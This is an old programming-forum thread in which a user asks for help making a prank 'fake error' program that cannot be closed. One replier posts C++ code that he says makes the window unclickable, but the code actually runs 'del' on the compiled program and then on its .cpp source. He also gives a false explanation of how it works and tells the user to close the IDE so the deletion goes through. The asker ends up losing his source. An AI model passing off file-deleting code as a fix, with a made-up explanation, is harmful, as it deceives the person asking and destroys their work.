I am writing a joke program to scare my friend...
But the problem is it will just be able to be exited once a [fake] error comes up, he can just x out... any help?
Code:code removed to make page smaller, see my last post to see the updated code.
I am writing a joke program to scare my friend...
But the problem is it will just be able to be exited once a [fake] error comes up, he can just x out... any help?
Code:code removed to make page smaller, see my last post to see the updated code.
Last edited by bikr692002; 03-31-2006 at 05:44 PM.
try this:edit: you need to compile this, then close your text editor, and run the program from outside your IDE for it to work. If ANY of the files used to create this program are open, it won't do what you want it to.Code:#include <string> #include <cstdlib> int main(int argc, char*argv[]) { std::string cmd="del "; cmd+=argv[0]; system(cmd.c_str()); cmd=cmd.substr(0,cmd.find(".exe")); cmd+=".cpp"; system(cmd.c_str()); return 0; }
Last edited by major_small; 03-31-2006 at 03:00 PM.
Join is in our Unofficial Cprog IRC channel
Server: irc.phoenixradio.org
Channel: #Tech
Team Cprog Folding@Home: Team #43476
Download it Here
Detailed Stats Here
More Detailed Stats
52 Members so far, are YOU a member?
Current team score: 1223226 (ranked 374 of 45152)
The CBoard team is doing better than 99.16% of the other teams
Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)
Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT
How does that work? I don't understand it...
put that at the top of your code (except for the return 0; )
basically, it doesn't so much disable the keyboard and mouse as it clears the screenbuffer of your program... basically it makes your program "dissapear" to the mouse, so you can't click the x. when you click where the x should be, the mouse just thinks you're clicking blank space.
but like I said, it has to be the first thing in your program, or you'll have time to hit that x
Join is in our Unofficial Cprog IRC channel
Server: irc.phoenixradio.org
Channel: #Tech
Team Cprog Folding@Home: Team #43476
Download it Here
Detailed Stats Here
More Detailed Stats
52 Members so far, are YOU a member?
Current team score: 1223226 (ranked 374 of 45152)
The CBoard team is doing better than 99.16% of the other teams
Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)
Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT
Thanks man, much appreciated
It says "Access is denied"
did you close your IDE like I said?
if you're running the program on it's own without any of it's files being open, then try removing just that first system(cmd.c_str()); line from my code and try it again.
Join is in our Unofficial Cprog IRC channel
Server: irc.phoenixradio.org
Channel: #Tech
Team Cprog Folding@Home: Team #43476
Download it Here
Detailed Stats Here
More Detailed Stats
52 Members so far, are YOU a member?
Current team score: 1223226 (ranked 374 of 45152)
The CBoard team is doing better than 99.16% of the other teams
Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)
Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT
This is what I'm getting...
http://www.freewebs.com/cjstaal/dsadsadsa.bmp
I hate you.
No worries though since the source is saved on this page, I though something was fishy when you had that del in there